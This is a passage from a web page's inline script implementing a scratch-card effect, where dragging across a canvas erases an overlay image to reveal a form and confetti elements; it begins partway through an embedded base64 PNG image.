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"
image.onload = function() {
ctx.drawImage(image, 0, 0);
// Show the form when Image is loaded.
document.querySelectorAll('.form')[0].style.visibility = 'visible';
};
brush.src = 'data:image/png;base64,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';
canvas.addEventListener('mousedown', handleMouseDown, false);
canvas.addEventListener('touchstart', handleMouseDown, false);
canvas.addEventListener('mousemove', handleMouseMove, false);
canvas.addEventListener('touchmove', handleMouseMove, false);
canvas.addEventListener('mouseup', handleMouseUp, false);
canvas.addEventListener('touchend', handleMouseUp, false);
function distanceBetween(point1, point2) {
return Math.sqrt(Math.pow(point2.x - point1.x, 2) + Math.pow(point2.y - point1.y, 2));
}
function angleBetween(point1, point2) {
return Math.atan2( point2.x - point1.x, point2.y - point1.y );
}
// Only test every `stride` pixel. `stride`x faster,
// but might lead to inaccuracy
function getFilledInPixels(stride) {
if (!stride || stride < 1) { stride = 1; }
var pixels = ctx.getImageData(0, 0, canvasWidth, canvasHeight),
pdata = pixels.data,
l = pdata.length,
total = (l / stride),
count = 0;
// Iterate over all pixels
for(var i = count = 0; i < l; i += stride) {
if (parseInt(pdata[i]) === 0) {
count++;
}
}
return Math.round((count / total) * 100);
}
function getMouse(e, canvas) {
var offsetX = 0, offsetY = 0, mx, my;
if (canvas.offsetParent !== undefined) {
do {
offsetX += canvas.offsetLeft;
offsetY += canvas.offsetTop;
} while ((canvas = canvas.offsetParent));
}
mx = (e.pageX || e.touches[0].clientX) - offsetX;
my = (e.pageY || e.touches[0].clientY) - offsetY;
return {x: mx, y: my};
}
function handlePercentage(filledInPixels) {
filledInPixels = filledInPixels || 0;
if (filledInPixels > 40) {
canvas.parentNode.removeChild(canvas);
var elems = document.getElementsByClassName("confetti");
for(var i=0;i<elems.length;i++)
{
document.querySelectorAll('.confetti')[i].style.visibility = 'visible';
}
}
}
function handleMouseDown(e) {
isDrawing = true;
lastPoint = getMouse(e, canvas);
}
function handleMouseMove(e) {
if (!isDrawing) { return; }
e.preventDefault();
var currentPoint = getMouse(e, canvas),
dist = distanceBetween(lastPoint, currentPoint),
angle = angleBetween(lastPoint, currentPoint),
x, y;
for (var i = 0; i < dist; i++) {
x = lastPoint.x + (Math.sin(angle) * i) - 25;
y = lastPoint.y + (Math.cos(angle) * i) - 25;
ctx.globalCompositeOperation = 'destination-out';
ctx.drawImage(brush, x, y);
}
lastPoint = currentPoint;
handlePercentage(getFilledInPixels(32));
}
function handleMouseUp(e) {
isDrawing = false;
}
})();
</script>
</body>
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</html>